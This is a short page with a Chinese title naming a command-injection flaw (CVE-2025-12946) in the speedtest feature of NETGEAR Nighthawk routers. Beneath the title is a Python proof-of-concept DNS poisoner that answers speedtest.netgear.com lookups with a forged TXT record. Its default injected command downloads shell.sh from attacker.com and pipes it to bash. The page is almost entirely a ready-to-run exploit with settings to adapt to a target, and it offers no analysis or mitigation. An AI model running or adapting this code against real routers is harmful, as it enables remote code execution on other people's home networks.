NETGEAR Nighthawk路由器Speedtest功能命令注入漏洞(CVE-2025-12946)

#!/usr/bin/env python3 # CVE-2025-12946 PoC - NETGEAR Router Speedtest DNS Manipulation # This PoC demonstrates the DNS poisoning technique for speedtest command injection import struct import socket import threading class DNSPoisoner: def __init__(self, target_domain, injected_command): self.target_domain = target_domain self.injected_command = injected_command self.attacker_ip = "192.168.1.100" # Attacker controlled IP def craft_poisoned_response(self, query_data): """Craft DNS response with injected command in TXT record""" # DNS header: ID, flags, counts response = query_data[:2] # Transaction ID response += b'\x81\x80' # Flags: Standard response, no error response += query_data[4:6] + query_data[4:6] # Question count response += b'\x00\x00\x00\x00' # Answer, Authority, Additional counts # Original question section response += query_data[12:] # Answer section with malicious TXT record response += b'\xc0\x0c' # Pointer to question name response += b'\x00\x10' # Type: TXT response += b'\x00\x01' # Class: IN response += b'\x00\x00\x00\x3c' # TTL: 60 seconds # TXT record with injected command cmd_length = len(self.injected_command) response += struct.pack('>B', cmd_length) response += self.injected_command.encode() return response def start(self, port=53): """Start DNS poisoning server""" sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind(('0.0.0.0', port)) print(f"[*] DNS Poisoner listening on port {port}") print(f"[*] Target domain: {self.target_domain}") print(f"[*] Injected command: {self.injected_command}") while True: try: data, addr = sock.recvfrom(512) if self.target_domain.encode() in data: print(f"[+] Intercepted DNS query for {self.target_domain}") poisoned_response = self.craft_poisoned_response(data) sock.sendto(poisoned_response, addr) print("[+] Sent poisoned DNS response") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Configuration - customize based on target TARGET_DOMAIN = "speedtest.netgear.com" INJECTED_CMD = "; wget http://attacker.com/shell.sh | bash;" poisoner = DNSPoisoner(TARGET_DOMAIN, INJECTED_CMD) poisoner.start()